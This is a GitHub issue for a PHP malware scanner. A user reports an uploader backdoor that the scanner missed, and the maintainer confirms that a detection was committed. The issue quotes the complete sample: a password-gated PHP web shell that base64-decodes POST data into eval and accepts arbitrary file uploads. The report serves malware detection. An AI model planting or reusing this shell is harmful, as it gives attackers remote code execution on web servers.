search

scr34m / php-malware-scanner

Scans PHP files for malwares and known threats
GNU General Public License v3.0
556 stars 96 forks source link

Missed file uploader #39

Closed vmirkovicmodx closed 5 years ago

vmirkovicmodx commented 5 years ago

We just ran into this file uploader that was missed:

<?php if($_GET["login"]=="eryFXw"){$mujj = $_POST["z"]; if ($mujj!="") { $xsser=base64_decode($_POST["z0"]); @eval("\$safedg = $xsser;");} if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload Complate !!!</b><br>"; } echo "Uploader By Psyco!";} ?><form action="" method="post" enctype="multipart/form-data"><input type="file" name="file" size="50"><input type="submit" value="submit"/>

Thanks!

scr34m commented 5 years ago

Thank you for the report, commited.